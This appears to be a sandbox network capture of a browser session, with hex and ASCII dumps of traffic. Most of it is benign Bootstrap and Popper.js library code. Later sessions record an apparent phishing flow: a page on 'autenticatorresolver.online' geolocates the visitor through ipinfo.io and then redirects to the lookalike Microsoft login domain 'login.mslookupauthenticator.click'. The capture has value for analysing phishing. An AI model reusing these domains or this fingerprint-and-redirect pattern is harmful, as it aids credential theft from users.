2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 2c 70 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 71 28 65 29 3b 72 65 74 75 72 6e 20 56 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 63 61 74 28 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 70 68 61 73 65 3d 3d 3d 6e 7d 29 29 29 7d 29 2c 5b 5d 29 7d 28 28 73 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6f 2c 66 2e 6f 70 74 69 6f 6e 73 2e 6d 6f 64 69 66 69 65 72 73 29 2c 70 3d 73 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 5b 74 2e 6e 61 6d 65 5d 3b 72 65 74 75 72 6e 20 65 5b 74 2e 6e 61 6d 65 5d 3d 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 6e 2c 74 2c 7b 6f 70 74 69 6f 6e 73 3a 4f Data Ascii: ,p,d=function(e){var t=q(e);return V.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((s=[].concat(o,f.options.modifiers),p=s.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:O
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 73 7d 29 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 29 2c 70 3d 21 30 7d 7d 3b 69 66 28 21 51 28 65 2c 74 29 29 72 65 74 75 72 6e 20 75 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 63 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 28 29 7d 29 29 2c 63 3d 5b 5d 7d 72 65 74 75 72 6e 20 75 2e 73 65 74 4f 70 74 69 6f 6e 73 28 72 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 21 70 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 28 65 29 7d 29 29 2c 75 7d 7d 76 61 72 20 24 3d 7b 70 61 73 73 69 76 65 3a 21 30 7d 3b 76 61 72 20 65 65 3d 7b 6e 61 6d 65 3a 22 65 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 65 6e 61 62 6c 65 64 3a 21 30 Data Ascii: s}),destroy:function(){l(),p=!0}};if(!Q(e,t))return u;function l(){c.forEach((function(e){return e()})),c=[]}return u.setOptions(r).then((function(e){!p&&r.onFirstUpdate&&r.onFirstUpdate(e)})),u}}var $={passive:!0};var ee={name:"eventListeners",enabled:!0
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 69 67 68 74 22 2c 54 3d 22 63 6c 69 65 6e 74 57 69 64 74 68 22 3b 69 66 28 57 3d 3d 3d 74 28 72 29 26 26 22 73 74 61 74 69 63 22 21 3d 3d 6d 28 57 3d 64 28 72 29 29 2e 70 6f 73 69 74 69 6f 6e 26 26 22 61 62 73 6f 6c 75 74 65 22 3d 3d 3d 63 26 26 28 48 3d 22 73 63 72 6f 6c 6c 48 65 69 67 68 74 22 2c 54 3d 22 73 63 72 6f 6c 6c 57 69 64 74 68 22 29 2c 57 3d 57 2c 69 3d 3d 3d 44 7c 7c 28 69 3d 3d 3d 50 7c 7c 69 3d 3d 3d 4c 29 26 26 61 3d 3d 3d 42 29 4d 3d 41 2c 62 2d 3d 28 68 26 26 57 3d 3d 3d 6b 26 26 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 3f 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 2e 68 65 69 67 68 74 3a 57 5b 48 5d 29 2d 6f 2e 68 65 69 67 68 74 2c 62 2a 3d 70 3f 31 3a 2d 31 3b 69 66 28 69 3d 3d 3d 50 7c 7c 28 69 3d 3d 3d 44 7c 7c 69 3d 3d Data Ascii: ight",T="clientWidth";if(W===t(r)&&"static"!==m(W=d(r)).position&&"absolute"===c&&(H="scrollHeight",T="scrollWidth"),W=W,i===D\|\|(i===P\|\|i===L)&&a===B)M=A,b-=(h&&W===k&&k.visualViewport?k.visualViewport.height:W[H])-o.height,b*=p?1:-1;if(i===P\|\|(i===D\|\|i==
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 65 73 2e 61 72 72 6f 77 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 73 74 79 6c 65 73 2e 61 72 72 6f 77 2c 72 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 63 2c 7b 6f 66 66 73 65 74 73 3a 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 61 72 72 6f 77 2c 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 2c 61 64 61 70 74 69 76 65 3a 21 31 2c 72 6f 75 6e 64 4f 66 66 73 65 74 73 3a 66 7d 29 29 29 29 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 2c 7b 22 64 61 74 61 2d 70 6f 70 70 65 72 2d 70 6c 61 63 65 6d 65 6e 74 22 3a 74 2e 70 6c 61 63 65 6d 65 6e 74 7d 29 7d 2c 64 61 74 61 3a 7b 7d 7d 3b 76 61 72 Data Ascii: es.arrow=Object.assign({},t.styles.arrow,re(Object.assign({},c,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:f})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}};var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49766	151.101.129.229	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:22 UTC	384	OUT	GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:22 UTC	775	IN	HTTP/1.1 200 OK Connection: close Content-Length: 60635 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 5.3.3 X-JSD-Version-Type: version ETag: W/"ecdb-LGwKWDRaCdN2EjCvgjpOSFKxJkM" Accept-Ranges: bytes Date: Tue, 10 Dec 2024 14:09:22 GMT Age: 1774544 X-Served-By: cache-fra-etou8220156-FRA, cache-ewr-kewr1740075-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 33 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 34 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v5.3.3 (https://getbootstrap.com/) * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 64 20 30 21 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 29 2c 63 3d 74 3d 3e 6c 28 74 29 3f 74 2e 6a 71 75 65 72 79 3f 74 5b 30 5d 3a 74 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 6c 65 6e 67 74 68 3e 30 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 72 28 74 29 29 3a 6e 75 6c 6c 2c 68 3d 74 3d 3e 7b 69 66 28 21 6c 28 74 29 7c 7c 30 3d 3d 3d 74 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 65 3d 22 76 69 73 69 62 6c 65 22 3d 3d 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 2c 69 3d 74 2e 63 6c 6f 73 65 73 74 28 22 64 65 74 61 69 6c 73 Data Ascii: d 0!==t.nodeType),c=t=>l(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(r(t)):null,h=t=>{if(!l(t)\|\|0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3a 65 2c 74 72 61 6e 73 69 74 69 6f 6e 44 65 6c 61 79 3a 69 7d 3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 3b 63 6f 6e 73 74 20 73 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2c 6e 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 3b 72 65 74 75 72 6e 20 73 7c 7c 6e 3f 28 65 3d 65 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 31 65 33 2a 28 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2b 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 29 28 65 29 2b 35 3b 6c 65 74 20 6e 3d 21 31 3b 63 6f 6e 73 74 20 72 3d 28 7b 74 61 72 67 65 74 3a 69 7d 29 3d 3e 7b 69 3d Data Ascii: itionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const s=Number.parseFloat(e),n=Number.parseFloat(i);return s\|\|n?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let n=!1;const r=({target:i})=>{i=
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 3d 69 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 2c 69 29 7b 63 6f 6e 73 74 20 73 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2c 6e 3d 73 3f 69 3a 65 7c 7c 69 3b 6c 65 74 20 6f 3d 4d 28 74 29 3b 72 65 74 75 72 6e 20 53 2e 68 61 73 28 6f 29 7c 7c 28 6f 3d 74 29 2c 5b 73 2c 6e 2c 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 74 2c 65 2c 69 2c 73 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 5b 6f 2c 72 2c 61 5d 3d 44 28 65 2c 69 2c 73 29 3b 69 66 28 65 20 69 6e 20 24 29 7b 63 6f 6e 73 74 20 74 3d 74 3d 3e 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 7c 7c 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 21 3d 3d 65 2e 64 65 Data Ascii: =i))}function D(t,e,i){const s="string"==typeof e,n=s?i:e\|\|i;let o=M(t);return S.has(o)\|\|(o=t),[s,n,o]}function N(t,e,i,s,n){if("string"!=typeof e\|\|!t)return;let[o,r,a]=D(e,i,s);if(e in $){const t=t=>function(e){if(!e.relatedTarget\|\|e.relatedTarget!==e.de
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 3d 6f 29 7b 69 66 28 68 29 66 6f 72 28 63 6f 6e 73 74 20 69 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6c 29 29 78 28 74 2c 6c 2c 69 2c 65 2e 73 6c 69 63 65 28 31 29 29 3b 66 6f 72 28 63 6f 6e 73 74 5b 69 2c 73 5d 6f 66 20 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 63 29 29 7b 63 6f 6e 73 74 20 6e 3d 69 2e 72 65 70 6c 61 63 65 28 43 2c 22 22 29 3b 61 26 26 21 65 2e 69 6e 63 6c 75 64 65 73 28 6e 29 7c 7c 50 28 74 2c 6c 2c 72 2c 73 2e 63 61 6c 6c 61 62 6c 65 2c 73 2e 64 65 6c 65 67 61 74 69 6f 6e 53 65 6c 65 63 74 6f 72 29 7d 7d 65 6c 73 65 7b 69 66 28 21 4f 62 6a 65 63 74 2e 6b 65 79 73 28 63 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 3b 50 28 74 2c 6c 2c 72 2c 6f 2c 6e 3f 69 3a 6e 75 6c 6c 29 7d 7d 2c 74 72 69 67 67 65 72 28 74 2c 65 2c 69 29 7b Data Ascii: =o){if(h)for(const i of Object.keys(l))x(t,l,i,e.slice(1));for(const[i,s]of Object.entries(c)){const n=i.replace(C,"");a&&!e.includes(n)\|\|P(t,l,r,s.callable,s.delegationSelector)}}else{if(!Object.keys(c).length)return;P(t,l,r,o,n?i:null)}},trigger(t,e,i){
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 2c 69 2e 6c 65 6e 67 74 68 29 2c 65 5b 69 5d 3d 7a 28 74 2e 64 61 74 61 73 65 74 5b 73 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 67 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 3a 28 74 2c 65 29 3d 3e 7a 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 60 64 61 74 61 2d 62 73 2d 24 7b 48 28 65 29 7d 60 29 29 7d 3b 63 6c 61 73 73 20 71 7b 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 54 79 70 65 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 4e 41 4d 45 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 59 6f 75 20 68 61 76 65 20 74 6f 20 69 6d 70 6c 65 6d 65 6e Data Ascii: .toLowerCase()+i.slice(1,i.length),e[i]=z(t.dataset[s])}return e},getDataAttribute:(t,e)=>z(t.getAttribute(`data-bs-${H(e)}`))};class q{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implemen
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 73 2e 5f 6d 65 72 67 65 43 6f 6e 66 69 67 4f 62 6a 28 74 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 41 66 74 65 72 4d 65 72 67 65 28 74 29 2c 74 68 69 73 2e 5f 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 74 29 2c 74 7d 73 74 61 74 69 63 20 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7b 72 65 74 75 72 6e 20 6e 2e 67 65 74 28 63 28 74 29 2c 74 68 69 73 2e 44 41 54 41 5f 4b 45 59 29 7d 73 74 61 74 69 63 20 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 2c 65 3d 7b 7d 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7c 7c 6e 65 77 20 74 68 69 73 28 74 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 29 7d 73 74 61 74 69 63 20 67 65 Data Ascii: s._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return n.get(c(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)\|\|new this(t,"object"==typeof e?e:null)}static ge
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 5b 74 61 62 69 6e 64 65 78 5d 22 2c 27 5b 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3d 22 74 72 75 65 22 5d 27 5d 2e 6d 61 70 28 28 74 3d 3e 60 24 7b 74 7d 3a 6e 6f 74 28 5b 74 61 62 69 6e 64 65 78 5e 3d 22 2d 22 5d 29 60 29 29 2e 6a 6f 69 6e 28 22 2c 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6e 64 28 65 2c 74 29 2e 66 69 6c 74 65 72 28 28 74 3d 3e 21 64 28 74 29 26 26 68 28 74 29 29 29 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 26 26 4b 2e 66 69 6e 64 4f 6e 65 28 65 29 3f 65 3a 6e 75 6c 6c 7d 2c 67 65 74 45 6c 65 6d 65 6e 74 46 72 6f 6d 53 65 6c 65 63 74 6f 72 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 3f 4b Data Ascii: [tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!d(t)&&h(t)))},getSelectorFromElement(t){const e=R(t);return e&&K.findOne(e)?e:null},getElementFromSelector(t){const e=R(t);return e?K
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 74 6f 67 67 6c 65 28 22 61 63 74 69 76 65 22 29 29 7d 73 74 61 74 69 63 20 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 4a 2e 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 68 69 73 29 3b 22 74 6f 67 67 6c 65 22 3d 3d 3d 74 26 26 65 5b 74 5d 28 29 7d 29 29 7d 7d 6a 2e 6f 6e 28 64 6f 63 75 6d 65 6e 74 2c 22 63 6c 69 63 6b 2e 62 73 2e 62 75 74 74 6f 6e 2e 64 61 74 61 2d 61 70 69 22 2c 47 2c 28 74 3d 3e 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 Data Ascii: element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=J.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}j.on(document,"click.bs.button.data-api",G,(t=>{t.preventDefa
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 6c 74 61 58 3d 30 2c 65 26 26 76 28 65 3e 30 3f 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 72 69 67 68 74 43 61 6c 6c 62 61 63 6b 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6c 65 66 74 43 61 6c 6c 62 61 63 6b 29 7d 5f 69 6e 69 74 45 76 65 6e 74 73 28 29 7b 74 68 69 73 2e 5f 73 75 70 70 6f 72 74 50 6f 69 6e 74 65 72 45 76 65 6e 74 73 3f 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 73 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 73 74 61 72 74 28 74 29 29 29 2c 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6e 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 65 6e 64 28 74 29 29 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 22 29 29 3a 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 Data Ascii: ltaX=0,e&&v(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(j.on(this._element,st,(t=>this._start(t))),j.on(this._element,nt,(t=>this._end(t))),this._element.classList.add("pointer-event")):(j.on(this._e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49782	34.117.59.81	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:42 UTC	586	OUT	GET /json?token=ad570b7adafe32 HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://autenticatorresolver.online Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:42 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 276 content-type: application/json; charset=utf-8 date: Tue, 10 Dec 2024 14:09:42 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-10 14:09:42 UTC	276	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a Data Ascii: { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49783	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:42 UTC	742	OUT	GET /msmatcherauth HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:44 UTC	20	IN	HTTP/1.1 302 Found
2024-12-10 14:09:44 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:44 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:44 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2024-12-10 14:09:44 UTC	54	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 73 6c 6f 6f 6b 75 70 61 75 74 68 65 6e 74 69 63 61 74 6f 72 2e 63 6c 69 63 6b 2f 0d 0a Data Ascii: Location: https://login.mslookupauthenticator.click/
2024-12-10 14:09:44 UTC	171	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 39 39 65 33 2d 33 35 33 61 3d 62 33 39 39 39 66 61 34 32 36 38 62 36 36 35 33 33 61 64 32 63 34 61 30 35 32 61 62 31 30 63 63 31 34 63 66 32 37 32 61 37 64 30 65 33 31 37 62 66 37 34 65 30 36 61 34 34 35 63 61 30 30 63 36 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6d 73 6c 6f 6f 6b 75 70 61 75 74 68 65 6e 74 69 63 61 74 6f 72 2e 63 6c 69 63 6b 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 31 35 3a 30 39 3a 34 33 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; Path=/; Domain=mslookupauthenticator.click; Expires=Tue, 10 Dec 2024 15:09:43 GMT
2024-12-10 14:09:44 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:44 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:44 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:44 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49786	34.117.59.81	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
